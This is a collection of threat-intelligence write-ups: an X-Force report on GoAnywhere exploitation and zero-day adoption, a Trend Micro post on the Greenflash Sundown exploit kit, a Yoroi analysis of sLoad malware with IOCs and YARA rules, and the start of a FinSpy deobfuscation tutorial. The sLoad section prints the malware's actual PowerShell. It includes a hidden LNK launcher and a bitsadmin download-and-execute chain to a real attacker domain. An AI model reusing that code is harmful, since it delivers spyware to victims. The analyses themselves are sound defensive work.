With security tooling blocking the execution of remote post-exploitation commands, the attacker pivoted to interactive access via remote desktop protocol (RDP) by leveraging the vulnerability to create a new user account and then accessing the server via RDP. With interactive access to the server via RDP, the attacker continued with credential harvesting operations by accessing credential data using Task Manager to dump the contents of the LSASS process.
Following the credential harvesting operations, the attacker began internal reconnaissance focusing on Active Directory using CSVDE and scanning for accessible SMB shares. Comma Separated Value Directory Exchange (CSVDE) is a Microsoft Windows utility that enables the user to import and export objects into or from Active Directory.
The attacker pivoted C2 channels by uploading a web shell to the GoAnyWhere server and began executing point-exploitation commands focused on reconnaissance and user account creation. When the web shell was detected and contained, the attacker returned to the server through RDP and performed more credential harvesting activities and leveraged SharpHound to perform additional Active Directory data collections. SharpHound is a component of BloodHound, which is an Active Directory reconnaissance tool designed to enumerate and analyze Active Directory relationships and attack paths.
With an understanding of the attacker’s access and scope of the incident in place, containment actions were taken to remove the attack from the network completely. Further intelligence gathering of the data collected from the incident indicates that the attacker was a financially motivated attacker focused on ransomware attacks to extort payment.
## Detecting CVE-2023-0669
CVE-2023-0669 is a remote code injection vulnerability impacting Fortra’s GoAnyWhere MFT file transfer software. The vulnerability enables a remote attacker with access to the administrative console to inject pre-authentication commands in the License Response Servlet. Exploitation of CVE-2023-0669 occurs when a remote attacker sends a specially crafted request to the URI “/goanywhere/lic/accept” to take advantage of an insecure deserialization flaw in the License Response Servlet class. Due to the use of hard-coded keys within the source code of the GoAnyWhere functions, a remote attacker can encrypt and encode arbitrary commands for execution on the target system within the Bundle parameter which is processed by the License Server Servlet without authentication. It is important to note that this exploit requires that the administrative interface for the GoAnyWhere server is accessible to the attacker. At the time of writing this post, X-Force detected over 700 GoAnyWhere servers available on the Internet with nearly 100 GoAnyWhere servers with the default license management ports exposed.
As detailed by security researcher frycos, a payload to exploit the vulnerability can be created using ysoserial and the hardcoded secret keys. Ysoserial, created by frohoff, is a collection of utilities discovered in common Java libraries that can exploit Java applications vulnerable to unsafe deserialization of objects.
## Detection Opportunity Via Process Execution
- Invoking Process = `<GoAnyWhereInstallDir>/GoAnywhere/jre/bin/java`
- Process Name = command interpreters or LOLBins (cmd.exe, powershell.exe, certutil.exe, wmic.exe, whoami.exe, python, perl, bash, whoami, etc.)
## Detection Opportunity Via Log Monitoring
- Log file = `%GoAnyWhereInstallDir%\userdata\logs\goanywhere.log`
- String Match = “request URI ‘/goanywhere/lic/accept/’ from ip address” AND “HTTP status code is ‘500’”
## Detection Opportunity Via Network Traffic
- POST or GET to URI “<MFTServer>/goanywhere/lic/accept?bundle=” and URI contains “bundle=” FROM Untrusted Hosts
## Threat Driven Approach to Zero Days
During this incident, the time between the security advisory and the exploitation of CVE-2023-0669 was less than 1 day, making it one of the fastest adoption time frames by financially motivated attackers observed by X-Force since 2020. The X-Force Vulnerability and Exploit Database, which has been curating vulnerability and exploit data since 1993, shows that the number of zero days released is increasing year over year, but X-Force observes just a handful of zero days rapidly adopted by cybercriminals each year. It begs the question, “why are some zero days rapidly and widely adopted for criminal operations and others not?”.
Based on the data from the X-Force database and incident response engagements, it appears that not every zero day is created equal. While every zero day is important and organizations should still devote efforts to patching zero days once a patch is released, there are characteristics of certain zero days that make them more likely to be rapidly and widely adopted by cybercriminals.
The following CVEs were the most rapidly and widely adopted zero days by cybercriminals observed by X-Force since 2020:
- CVE-2020-1472 (ZeroLogon)
- CVE-2021-26855 (ProxyLogon)
- CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 (ProxyShell)
- CVE-2021-34527 (PrintNightmare)
- CVE-2022-26925 (PetitPotam)
- CVE-2023-0669 (GoAnyWhere)
In 2021, X-Force released a blog detailing “How Ransomware Attacks Happen” and it turns out that the attack path detailed in that post has a direct relationship with zero day adoption by cybercriminals. Analyzing the most widely used zero days, what an attacker can achieve through exploitation, and the incidents in which they were used, indicates that the zero days that enable ransomware operators to quickly and easily obtain their goals and objectives are more likely to be used “in the wild”.
- **ZeroLogon** — Allows an unauthenticated attacker with network access to a domain controller to exploit a NetLogon session and gain domain administrator privilege.
- **PrintNightmare** — A vulnerability affecting the Windows Print Spooler service that enables an attacker to escalate privileges either locally or remotely by loading a malicious DLL which will be executed as SYSTEM.
- **PetitPotam** — An NTLM relay attack that allows a remote, unauthenticated attacker to take control of an Active Directory domain by triggering a domain controller to relay its credentials to a system controlled by the attacker. With the domain controller NTLM credentials, the attacker can relay them to Active Directory Certificate Services (AD CS) to obtain a DC certificate. The attacker can use the DC certificate to request a TGT (Ticket Granting Ticket) and take control of the entire domain through Pass-The-Ticket attacks.
Because ZeroLogon, PrintNightmare, and PetitPotam allow an attacker to obtain privileged access to Active Directory without credential harvesting or lateral movement, it significantly simplifies the ransomware attack path, and as such, X-Force observed their use in multiple ransomware attacks.
ProxyShell and ProxyLogon are vulnerabilities that affect on-premises Microsoft Exchange that enable a remote attacker to elevate privileges and execute arbitrary commands on vulnerable servers. Microsoft Exchange is an attractive target for attackers because they host business email, which can enable internal phishing, as well as given the tight integration between Exchange and Active Directory, it can also be exploited to move laterally to other high-value systems or access privileged account credentials. According to Microsoft, “If compromised, Exchange servers provide a unique environment that could allow attackers to perform various tasks using the same built-in tools or scripts that admins use for maintenance.”
X-Force has observed ProxyShell and ProxyLogon leveraged in multiple ransomware attacks where the attacker was able to obtain domain administrator privileges, exfiltrate sensitive business data, and deploy ransomware directly from the Exchange servers.
Regarding GoAnyWhere, X-Force’s observations are that the servers that are exploited tend to be domain-joined Microsoft Windows systems that enable the attacker to immediately gain access to high-value systems within Active Directory.
A notable absentee from the widely adopted zero-day list was Log4J. While Log4J gained widespread media attention, X-Force did not respond to many serious financially motivated incidents where Log4J was exploited. It is possible that organizations did a heroic job of patching vulnerable systems; however, given the number of systems still vulnerable to CVE-2021-44228, it appears that cybercriminals have not adopted it as widely for another reason. One interesting data point that may explain why Log4J has not been observed in as many incident response engagements is that based on X-Force vulnerability data, the majority of vulnerable Log4J systems are running Linux. Pivoting from Linux to Microsoft Active Directory requires more knowledge, capabilities, and falls outside of the normal ransomware attack lifecycle, further indicating that the ransomware attack lifecycle is driving zero-day adoption for cybercriminals.
## A Path Forward: Understanding the Attackers
The path forward for zero-day preparation and management requires organizations to adopt a threat-driven approach. It’s critical that organizations understand which attackers are most likely going to target them, what the attackers’ goals and objectives are, and how the attackers are going about accomplishing them. With this knowledge, organizations will be better prepared to identify which vulnerabilities and zero days are most likely going to be adopted.
But prevention alone is no longer enough. It’s equally important today to focus on detection engineering – finding new ways to lengthen attack lifecycles and making it harder for threat actors to execute their objectives. By improving detection and response capabilities, businesses can make it more difficult for attackers to complete their goals even if they are able to gain access through vulnerability exploitation.
**IBM X-Force**
If you are interested in learning more about detection and response, vulnerability management, or threat hunting, X-Force provides world-class proactive and reactive services to ensure your organization achieves complete preparedness for zero-day attacks. If you are experiencing cybersecurity issues or an incident, contact X-Force to help:
US hotline 1-888-241-9812
Global hotline (+001) 312-212-8034.
**John Dwyer**
Head of Research, IBM Security X-Force
John (@TactiKoolSec) is the Head of Research for the IBM Security X-Force where he leads research efforts to understand and model adversary operations. |
# ShadowGate Returns to Worldwide Operations With Evolved Greenflash Sundown Exploit Kit
**Posted on:** June 27, 2019 at 7:16 am
**Posted in:** Exploits
**Author:** Joseph C Chen (Fraud Researcher)
After almost two years of sporadic restricted activity, the ShadowGate campaign has started delivering cryptocurrency miners with a newly upgraded version of the Greenflash Sundown exploit kit. The campaign has been spotted targeting global victims, after operating mainly in Asia.
## Background of the Greenflash Sundown Exploit Kit
The ShadowGate (also called WordsJS) campaign was identified in 2015. It delivered malware with exploit kits through the compromised ad servers of Revive/OpenX advertising software. After a takedown operation in September 2016, the campaign tried to hide their activities. However, that same year they also developed their own exploit kit, which we named Greenflash Sundown, likely to avoid using exploit kit services from the underground market. At the end of 2016, the campaign stopped their injection attacks on the compromised ad servers and restricted their activity to spreading ransomware via compromised South Korean websites. In April 2018, ShadowGate was spotted spreading cryptocurrency miners with Greenflash Sundown. However, the injection was limited to servers in East Asian countries and soon stopped.
After a period of relatively restrained activities, we noticed ShadowGate attacking through ad servers again this June. However, these attacks were not just targeting regional victims but global ones. Visitors to websites embedded with malicious advertisements (from the compromised ad servers) were redirected to the Greenflash Sundown exploit kit and infected with a Monero cryptocurrency miner. This is the most notable activity we have seen from this group since 2016. Despite their low profile over the past couple of years, it seems that they have been continuously developing and evolving their exploit kit.
## Greenflash Sundown Refined Evasion and Targeting Techniques
ShadowGate is invested in the continuous development of their exploit kit. In 2018, Greenflash Sundown was spotted integrating the Flash exploit for CVE-2018-4878 prior to other exploit kits. Greenflash Sundown was then identified using another Flash exploit for CVE-2018-15982 this April. The continuous updates of the kit to include new exploits allows it to maintain its infection rate.
During the latest attack of ShadowGate that started this June, we found that they had another version of the Greenflash Sundown exploit kit with two updates. The first change involves the integration of a public key encryption algorithm to protect their exploit kit payload. Last November, we saw that this exploit kit used the same encryption technique to protect their malware payload during the last infection stage. However, this time they used the encryption from the first few communications to encrypt all of their traffic during infection.
The encryption technique is as follows: first, the victim generates a random number called a nonce to produce a unique secret key during each attack. The secret key will be encrypted by a public key and then securely sent to the exploit kit. The exploit kit — using a private key — can recover the secret key and use it to encrypt the malicious payload that will be delivered with the RC4 algorithm (a cipher algorithm requiring a shared key for decryption). The payload will then be sent to the victim, who will decrypt it with the secret keys.
This encryption technique is supposed to prevent security solutions from detecting their malicious payload as it is transferred to the victim. In theory, because the secret key only exists in memory and is not supposed to be transferred directly in plaintext, it is difficult for a threat analyst to find the secret key and decrypt the malicious payload.
The use of public key encryption algorithm was also seen in the exploit kit Underminer, which we discovered last year. However, we found that the hackers behind the Greenflash Sundown exploit kit made a mistake with their encryption. They used the generated nonce not only for generating the secret key but also as a key of RC4 to encrypt the victim’s WebGL information before sending it to the exploit kit server. The generated nonce was actually sent in plaintext during their communication, which makes it accessible and readable. With the nonce, it becomes possible to reproduce the secret key and decrypt the malicious payload offline.
The latest version of the Greenflash Sundown exploit kit also features an updated PowerShell loader. Since November 2018, we noticed the exploit kit started to use a PowerShell loader, which makes it capable of fileless malware infection. The upgraded loader in this new version is now capable of collecting a profile of the victim’s environment and sending the information to the exploit kit server. This allows its operators to be more precise in their targeting. If the victim’s profile fits their specifications, the malware will deliver its payload. Otherwise, the server will return an empty response. The upgrade also helps them avoid sandboxes or honeypots that can capture their malware. The information taken from the victim includes OS details, user name, video card, hard disk information, and antivirus products.
## Recommendations and Solutions
Cybercriminals are continuously updating their exploit tools and techniques to evade detection and find better targets. These criminals sometimes spend years refining their attacks, as seen with Greenflash Sundown. To stay ahead of the curve, users should always keep their systems and applications updated to the latest version. The vulnerabilities targeted by these exploit kits usually have available fixes, so applying a solid patching and update strategy mitigates much of the risk. To further strengthen security, enterprises are also advised to enable a multilayered protection system that can actively block threats and malicious URLs from the gateway to the endpoint.
A proactive, multilayered approach to security is key against threats that exploit vulnerabilities. Trend Micro Deep Security and Trend Micro™ Vulnerability Protection also provide virtual patching that protects servers and endpoints from threats that abuse vulnerabilities in critical applications or websites. Trend Micro customers are protected by the following Deep Security rule:
- 1009405-Adobe Flash Player Use After Free Vulnerability (CVE-2018-15982)
Trend Micro™ OfficeScan™ with XGen™ endpoint security has Vulnerability Protection that shields endpoints from identified and unknown vulnerability exploits even before patches are deployed. Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security protect end users and businesses from these threats by detecting and blocking malicious files and all related malicious URLs.
**Additional insights from Chaoying Liu and Nakaya Yoshihiro.**
This was also earlier reported by Malwarebytes.
## Indicators of Compromise
| Indicator | Detection | File name |
|-------------------------------|-------------------------------|--------------------------|
| fastimage[.]site | ShadowGate/WordsJS | malicious domain |
| ad4989[.]world | ShadowGate/WordsJS | malicious domain |
| adsfast[.]site | GreenFlash Sundown EK | domain |
| adsfast[.]info | GreenFlash Sundown EK | domain |
| cdn-cloud[.]club | GreenFlash Sundown EK | domain |
| aeb073b5ee2e083aba987c7fcaab7265aabe6e5e2cade821db6d46e4 | Coinminer.Win32.MALXMR.S | hp_3.e |
| 06e21e95 | MBM4 | xe |
| 58002d0b8acd1a539503d8ea02ff398e7ad079e0b856087f0ca30d76 | Coinminer.Win64.TOOLXMR. | hp_6.e |
| 7588be4e | SMA | xe |
Updated July 1, 4:20 PM: Updated to clarify the product of Revive/OpenX that was compromised. |
# The SLoad Powershell Threat is Expanding to Italy
**November 27, 2018**
## Introduction
In the past months, CERT-Yoroi observed an emerging attack pattern targeting its constituency. These series of malicious email messages shared common techniques and may be likely related to a single threat group starting its operation against the Italian cyber panorama. It is still not clear if these attack attempts may be originated by a well-established cyber-crime group modifying its TTP or a completely new one; however, CERT-Yoroi is tracking this threat with the internal codename “Sload-ITA” (TH-163). Other similar operations have also been documented by SANS ICS researchers in the UK in May. The malicious campaigns share the same drop schema based on the abuse of code-hiding techniques within compressed archives and similar drop-url patterns:
- 2018-10-08 - Malspam campaign with the “/AE-9455933DGW-nota-cliente” drop url pattern
- 2018-10-09 - Malspam campaign with the “/fattura-per-cliente-QN-OAYSAPV” drop url pattern
- 2018-10-15 - Malspam campaign with the “/MA-47462780Y3-documento-cliente” drop url pattern
- 2018-11-19 - Malspam campaign with the “/documento-aggiornato-novembre-ER16909FP9” drop url pattern
Also tracked by CERT-PA.
The samples recovered during the response operations have been collected and dissected by the Yoroi-Cybaze ZLAB to unveil details of the malicious implant used by these attackers.
## Technical analysis
The malicious sample analyzed is a compressed zip archive containing two distinct files:
1. A link pretending to point to a system folder, named “invio fattura elettronica.lnk”
2. A hidden JPEG image “image_20181119_100714_40.jpg”, the file is stored with HA attributes.
Despite its innocent-looking shape, the LNK file extracted from the archive has been weaponized in a similar way to that adopted by APT29 during their latest operations, demonstrating this technique is part of several malicious cyber-arsenal. In fact, when the user double-clicks on the file, a batch script spawns the PowerShell script below:
```
C:\Windows\System32\cmd.exe /C powershell.exe -nop -eP ByPass -win hi"d"den -c "& {$9oc=get-childItem -path c:\users\* -recurse -force -include documento-aggiornato-novembre-*.zip;$g3u=get-content -LiteralPat $9oc.fullname;$g3u[$g3u.length-1]|iex}"
```
The PS script searches for any file matching the pattern “documento-aggiornato-novembre-*.zip”: if the file exists, the script extracts a portion of code at its end and subsequently invokes it through “IEX”. We inspected the zip file and recovered this small code section.
This portion of the file contains runnable code invoked by the PowerShell script. This code is able to download other scripts from “firetechnicaladvisor.com” thanks to the abuse of the “bitsadmin.exe” functionality and then stores all these newly downloaded files inside the “%APPDATA%/<UUID>” folder.
The snippet above shows the code responsible for the download of these parts of malware:
```powershell
$env_appData=$env:appdata;
$cmd='cmd';
$gen_random_value_name_ps= -join ((65..90) + (97..122) | Get-Random -count 14 | % {[char]$_});
$get_uuid=(Get-WmiObject Win32_computerSystemProduct).UUid;
$set_hidden='hidden';
$folder_to_store_file = $env_appData+'\'+$get_uuid;
$h=$folder_to_store_file+'\d';
if(!(test-path $folder_to_store_file)){
New-item -itemtype directory -Force -path $folder_to_store_file;
};
$ps_to_download_and_execute='/c echo 1 > '+$h+' & bitsadmin /wrap /transfer fredikasledi /download /priority FOReGrOUnd "https://firetechnicaladvisor.com/globa/monu"'+$folder_to_store_file+'\'+$gen_random_value_name_ps+'.ps1 & del '+$h+' & exit';
start-process -wiNdowstyLe $set_hidden $cmd $ps_to_download_and_execute;
$e=1;
Start-Sleep -s 6;
$p2='powe';
while($e -eq 1){
if(test-path $h){
Start-Sleep -s 3
}else{
$e=2
}
};
Start-Sleep -s 7;
$p1='ell';
$ps_to_download_and_execute='/c '+$p2+'rsh'+$p1+' -nop -ep bypass -File '+$folder_to_store_file+'\'+$gen_random_value_name_ps+'.ps1 & exit';
start-process -wiNdowstyLe $set_hidden $cmd $ps_to_download_and_execute;
```
The “NxPgKLnYEhMjXT.ps1” script installs the implant into the victim’s machine, registering a scheduled task on the system able to ensure the persistence of the infection. Then, it self-deletes.
After a quick look at the “CxeLtfwc.ps1” script, we also noticed the malware uses the cmdlet “Invoke-Expression“ to load and run another piece of code from the “config.ini” file.
```powershell
param ([string]$k = "");
$random_name_of_powershell=Get-Process -name powershell*;
if ($random_name_of_powershell.length -lt 2){
$folder_name = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$log = $env:APPDATA+"\"+$folder_name;
$key=$k -split "," ;
$Secure= Get-Content $log"\config.ini";
$Encrypted= ConvertTo-SecureString $Secure -key $key;
$encrypted_string = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);
$expression_to_execute = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($encrypted_string);
Invoke-Expression $expression_to_execute;
}
```
The following figures show how this particular piece of code is invoked by other components of the malicious implant: it's possible to notice the script is launched with the input parameter (“1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16”), used as a cryptographic key to decrypt the content of the “config.ini”: the real payload of malware.
The malicious agent collects information about the victim machine, such as domain, DNS cache, running processes, IP, and system architecture. Moreover, it periodically captures screenshots of the current desktop of the victim, searches for the Microsoft Outlook folder, and collects information about the presence of “*.ICA“ Citrix files within the user directory. All this information is sent to the command and control destinations. After the submission of the data, it receives further PowerShell code directly from the attacker. This behavior is characteristic of Trojan/Spyware malware, often used as a bridgehead for the recon of compromised hosts, potentially even during the initial stages of some more complex attacks.
## Conclusion
The recent sLoad attack waves, reported by third-party security firms and governmental CERTs too, represent an important threat for the Italian landscape due to the well-designed phishing email themes and the possibly low rate of detection of the techniques used within the malware implant itself.
It’s still not clear if the group behind these attacks may be a completely new actor in the cyber-crime panorama; however, a possible initial malicious operation may have been spotted in the wild in May 2018, targeting UK users. The more recent attack campaigns against Italian users seem to have begun in October, indicating an expansion of the group’s malicious activities.
CERT-Yoroi is currently tracking the TH-163 operations within the Italian landscape, and the ZLAB team is continuously analyzing its artifacts, malware implants, and techniques to ensure protection for our constituency.
## Indicators of Compromise (IoC)
**Drop URLs:**
- upabovenewyork.com/.fatturazione/fattura-per-cliente-QN-OAYSAPV
- sciencefictionforgirls.com/cience/ionfo
- upabovenewyork.com
- 91.218.127.180
- sciencefictionforgirls.com
- 185.17.27.100
- rootcellarproductions.com/documento/AE-9455933DGW-nota-cliente
- peatsenglishcider.com/seng/ishci
- rootcellarproductions.com
- 91.218.127.183
- peatsenglishcider.com
- 185.17.27.100
- three-bottles.com/area-riservata/MA-47462780Y3-documento-cliente
- icodeucode.com/col/euco
- three-bottles.com
- 91.218.127.183
- firetechnicaladvisor.com
- 185.17.27.108
- cavintageclothing.com/update/b746yrthdfb.txt
- cavintageclothing.com
- 185.17.27.108
- bureaucratica.org
- 18.13.7.20
**C2 (sload):**
- balkher.eu/doc/p2.txt
- balkher.eu/sload/2.0/hostp1.txt
- balkher.eu/sload//img.php?ch=1
- balkher.eu
- 185.197.75.241
- perecwarrio.eu/sload/
- perecwarrior.eu
- 185.211.246.50
- ljfumm.me/images/gate.php
- hamofgri.me/images/gate.php
- hamofgri.me/images/captcha.php?ch=1
- ljfumm.me
- hamofgri.me
- 185.197.75.10
**Persistency:**
- %APPDATA%\<GUID>
**Hash:**
- b702e8e23165273f8e90615ce4af2f158048bf6b615f545b992fbbb62f7eff27 (zip)
- 1cbe16ac066aeac78c2f3e41e2afa3433833bf6f65131bcfbf88db97e9b94efb (jpg)
- d8f4ae0477f7e2931e89e4b6d3e78556d3b5765a2c08bc3bdec8c1f6dc0904c0 (lnk)
- ed1007884730a664f9cc827fb60924079149a2fec08ca91c2342c368e727c330 (zip)
- 3b5b6cd6ecef252624ee3b5c80d27647766527920b76ebc533f9bc336bfe91ad (jpg)
- 0a392ded18578069c647383492253f990210b9c9f9293a6ded09eab7e0936562 (jpg)
- b19794f283f9c09f997cbfcbec8c30a5e48eb520ee7bcabd0d62c7b527105f42 (lnk)
- 3866a58fe3d459173a28bfdee3ec7a90d7551761121fba9eda3685a268cdeda5 (ps1)
- ed99528a9e818fb486e468d9744745fcfd7157cc8e18181dce7404483c12e834 (zip)
- 97f9bb29083458c88844a2cecca272a22cac8cf7960b76c3fa46e891eeb18236 (lnk)
- 444e29050bbe68484e33f4e30dbe165186f93884e3336643cfb965156141c5ae (jpg)
- 6a49ed883ed266682ec275a395e0d7c6489ded6a6d7072e84af696e82f3b49a3 (ps1)
- f94ebce29158af5f4df34e5af428a514faeef20de08418ad0153ad2a9a07cea0 (ps1)
- daadae8672c31474047f21008ec131cf6a102dac7ca8b8c6df89d35bdf2246da (vbs)
- ee1dbf76665f5c07ba1c453d1890aa93307f759c5cce6f59f225111509482a64 (ps1)
- 062cc76eeb34d1d3bb5467836cd2d33cb973fc0a8129947af074675beb1fbf1f (ini)
## Yara Rules
```yara
rule image_20181119_100714_50_jpg {
meta:
description = "Yara Rule for Trojan/sLoad"
author = "Cybaze Zlab_Yoroi"
last_updated = "2018-11-21"
tlp = "white"
category = "informational"
strings:
$a1 = "Adobe Photoshop"
$a2 = {3A 30 33 3A 32 38}
$a3 = {FF D8 FF E0}
$b = {B4 30 B8 B? ?? ?? ?? BA AD E3 ?? ?? C7 7F 84 6A 09 74 9F 75}
condition:
$a1 and $a2 and $a3 or $b
}
rule documento_aggiornato_novembre_ER16909FP9_zip {
meta:
description = "Yara Rule for Trojan/sLoad"
author = "Cybaze Zlab_Yoroi"
last_updated = "2018-11-21"
tlp = "white"
category = "informational"
strings:
$a1 = "https://firetechnicaladvisor.com/"
$a2 = {24 34 4D 61 30 58 32 6C 49 7A}
$a3 = "image_20181119_100714_40.jpg"
$a4 = "invio fattura elettronica.lnk"
$a5 = {2B 27 2E 70 73 31}
$b = {50 4B}
condition:
1 of ($a*) and $b
}
rule _ini_files {
meta:
description = "Yara Rule for Trojan/sLoad"
author = "Cybaze Zlab_Yoroi"
last_updated = "2018-11-21"
tlp = "white"
category = "informational"
strings:
$a1 = "DkAYQBjADcANAA3ADUAMwBkADAA"
$a2 = "ADMAMgA5AGUAYgA3AGYAM"
condition:
$a1 or $a2
}
rule invio_fattura_elettronica_lnk {
meta:
description = "Yara Rule for Trojan/sLoad"
author = "Cybaze Zlab_Yoroi"
last_updated = "2018-11-21"
tlp = "white"
category = "informational"
strings:
$a1 = {63 00 3A 00 5C 00 75 00 73 00 65 00 72 00 73 00 5C 00 2A}
$a2 = {4D 5A 35 10 00 53 79 73 74 65 6D 33 32}
$b = {4C ??}
$c = {63 6D 64 2E 65 78 65}
$d = "i.e.x."
condition:
1 of ($a*) and $b and $c and $d
}
```
This blog post was authored by Luigi Martire, Luca Mella of Cybaze-Yoroi Z-LAB. |
# A Walk-Through Tutorial, with Code, on Statically Unpacking the FinSpy VM: Part One, x86 Deobfuscation
**January 23, 2018**
**Rolf Rolles**
## 1. Introduction
Normally when I publish about breaking virtual machine software protections, I do so to present new techniques. Today's document has a different focus. I am not going to be showcasing any particularly new techniques. I will, instead, be providing a step-by-step walk-through of the process I used to analyze the FinSpy VM, including my thoughts along the way, the procedures and source code I used, and summaries of the notes I took. The interested reader is encouraged to obtain the sample and walk through the analysis process for themselves.
I have three motives in publishing this document:
1. I think it's in the best interest of the security defense community if every malware analyst is able to unpack the FinSpy malware VM whenever they encounter it (for obvious reasons).
2. Reverse engineering is suffering from a drought of hands-on tutorial material in modern times. I was fortunate to begin reverse engineering when such tutorials were common, and they were invaluable in helping me learn the craft. Slides are fine for large analyses, but for smaller ones, let's bring back tutorials for the sake of those that have followed us.
3. Publications on obfuscation, especially virtualization obfuscation, have become extremely abstruse particularly in the past five years. Many of these publications are largely inaccessible to those not well-versed in master's degree-level program analysis (or above). I want to demonstrate that easier techniques can still produce surprisingly fast and useful results for some contemporary obfuscation techniques.
Update: the rest of this document, the second and third parts, are now available online.
## 2. Initial Steps
The first thing I did upon learning that a new FinSpy sample with VM was publicly available was, of course, to obtain the sample. VirusTotal gave the SHA256 hash; and I obtained the corresponding sample from Hybrid-Analysis.
The next step was to load the sample into IDA. The navigation bar immediately tipped me off that the binary was obfuscated:
- The first half of the .text section is mostly colored grey and red, indicating data and non-function code respectively.
- The second half of the .text section is grey in the navigation bar, indicating data turned into arrays.
A normal binary would have a .text section that was mostly blue, indicating code within functions.
## 3. Analysis of WinMain: Suspicions of VM-Based Obfuscation
IDA's auto-analysis feature identified that the binary was compiled by the Microsoft Visual C compiler. I began by identifying the WinMain function. Normally IDA would do this on my behalf, but the code at that location is obfuscated, so IDA did not name it or turn it into a function. I located WinMain by examining the ___tmainCRTStartup function from the Visual C Run-Time and finding where it called into user-written code. The first few instructions resembled a normal function prologue; from there, the obfuscation immediately began.
```assembly
.text:00406154 mov edi, edi ; Normal prologue
.text:00406156 push ebp ; Normal prologue
.text:00406157 mov ebp, esp ; Normal prologue
.text:00406159 sub esp, 0C94h ; Normal prologue
.text:0040615F push ebx ; Save registers #1
.text:00406160 push esi ; Save registers #1
.text:00406161 push edi ; Save registers #1
.text:00406162 push edi ; Save registers #2
.text:00406163 push edx ; Save registers #2
.text:00406164 mov edx, offset byte_415E41 ; Obfuscation - #1
.text:00406169 and edi, 0C946B9C3h ; Obfuscation - #2
.text:0040616F sub edi, [edx+184h] ; Obfuscation - #3
.text:00406175 imul edi, esp, 721D31h ; Obfuscation - #4
.text:0040617B stc ; Obfuscation
.text:0040617C sub edi, [edx+0EEh] ; Obfuscation - #5
.text:00406182 shl edi, cl ; Obfuscation
.text:00406184 sub edi, [edx+39h] ; Obfuscation - #6
.text:0040618A shl edi, cl ; Obfuscation
.text:0040618C imul edi, ebp ; Obfuscation
.text:0040618F mov edi, edi ; Obfuscation
.text:00406191 stc ; Obfuscation
.text:00406192 sub edi, 0A14686D0h ; Obfuscation
; ... obfuscation continues ...
.text:004065A2 pop edx ; Restore registers
.text:004065A3 pop edi ; Restore registers
```
The obfuscation in the sequence above continues for several hundred instructions, nearly all of them consisting of random-looking modifications to the EDI register. I wanted to know A) whether the computations upon EDI were entirely immaterial junk instructions, or whether a real value was being produced by this sequence, and B) whether the memory references in the lines labeled #1, #3, #5, and #6 were meaningful.
As for the first question, note that the values of the registers upon entering this sequence are unknown. We are, after all, in WinMain(), which uses the __cdecl calling convention, meaning that the caller did not pass arguments in registers. Therefore, the value computed on line #2 is unpredictable and can potentially change across different executions. Also, the value computed on line #4 is pure gibberish -- the value of the stack pointer will change across runs (and the modification to EDI overwrites the values computed on lines #1-#3).
As for the second question, I skimmed the obfuscated listing and noticed that there were no writes to memory, only reads, all intertwined with gibberish instructions like the ones just described. Finally, the original value of edi is popped off the stack at the location near the end labeled "restore registers". So I was fairly confident that I was looking at a sequence of instructions meant to do nothing, producing no meaningful change to the state of the program.
Following that was a short sequence:
```assembly
.text:004065A4 push 5A403Dh ; Obfuscation
.text:004065A9 push ecx ; Obfuscation
.text:004065AA sub ecx, ecx ; Obfuscation
.text:004065AC pop ecx ; Obfuscation
.text:004065AD jz loc_401950 ; Transfer control elsewhere
.text:004065AD ; -------------------------------------------------------------------
.text:004065B3 db 5 dup(0CCh)
.text:004065B8 ; -------------------------------------------------------------------
.text:004065B8 mov edi, edi
.text:004065BA push ebp
.text:004065BB mov ebp, esp
.text:004065BD sub esp, 18h
; ... followed by similar obfuscation to what we saw above ...
```
By inspection, this sequence just pushes the value 5A403Dh onto the stack, and transfers control to loc_401950. (The "sub ecx, ecx" instruction above sets the zero flag to 1, therefore the JZ instruction will always branch.)
Next we see the directive "db 5 dup(0CCh)" followed by "mov edi, edi". Reverse engineers will recognize these sequences as the Microsoft Visual C compiler's implementation of hot-patching support. The details of hot-patching are less important than the observation that I expected that the original pre-obfuscated binary contained a function that began at the address of the first sequence, and ended before the "db 5 dup(0CCh)" sequence. I.e. I expect that the obfuscator disassembled all of the code within this function, replaced it with gibberish instructions, placed a branch at the end to some other location, and then did the same thing with the next function.
This is a good sign that we're dealing with a virtualization-based obfuscator: namely, it looks like the binary was compiled with an ordinary compiler, then passed to a component that overwrote the original instructions (rather than merely encrypting them in-place, as would normal packers).
## 4. Learning More About the VM Entrypoint and VM Pre-Entry
Recall again the second sequence of assembly code from the previous sequence:
```assembly
.text:004065A4 push 5A403Dh ; Obfuscation - #1
.text:004065A9 push ecx ; Obfuscation
.text:004065AA sub ecx, ecx ; Obfuscation
.text:004065AC pop ecx ; Obfuscation
.text:004065AD jz loc_401950 ; Transfer control elsewhere
```
Since -- by supposition -- all of the code from this function was replaced with gibberish, there wasn't much to meaningfully analyze. My only real option was to examine the code at the location loc_401950, the target of the JZ instruction on the last line. The first thing I noticed at this location, loc_401950, was that there were 125 incoming references, nearly all of them of the form "jz loc_401950", with some of the form "jmp loc_401950". Having analyzed a number of VM-based obfuscators in my day, this location fits the pattern of being the part of the VM known as the "entrypoint" -- the part where the virtual CPU begins to execute. Usually this location will save the registers and flags onto the stack, before performing any necessary setup, and finally beginning to execute VM instructions. VM entrypoints usually require a pointer or other identifier to the bytecode that will be executed by the VM; maybe that's the value from the instruction labeled #1 in the sequence above?
Let's check another incoming reference to that location to verify:
```assembly
.text:00408AB8 push 5A7440h ; #2
.text:00408ABD push eax
.text:00408ABE sub eax, eax
.text:00408AC0 pop eax
.text:00408AC1 jz loc_401950
```
The other location leading to the entrypoint is functionally identical, apart from pushing a different value onto the stack. This value is not a pointer; it does not correspond to an address within the executable's memory image. Nevertheless, we expect that this value is somehow responsible for telling the VM entrypoint where the bytecode is located.
## 5. Analyzing the VM Entrypoint Code
So far we have determined that loc_401950 is the VM entrypoint, targeted by 125 branching locations within the binary, which each push a different non-pointer DWORD before branching. Let's start analyzing that code:
```assembly
.text:00401950 loc_401950:
.text:00401950 0F 82 D1 02 00 00 jb loc_401C27
.text:00401956 0F 83 CB 02 00 00 jnb loc_401C27
```
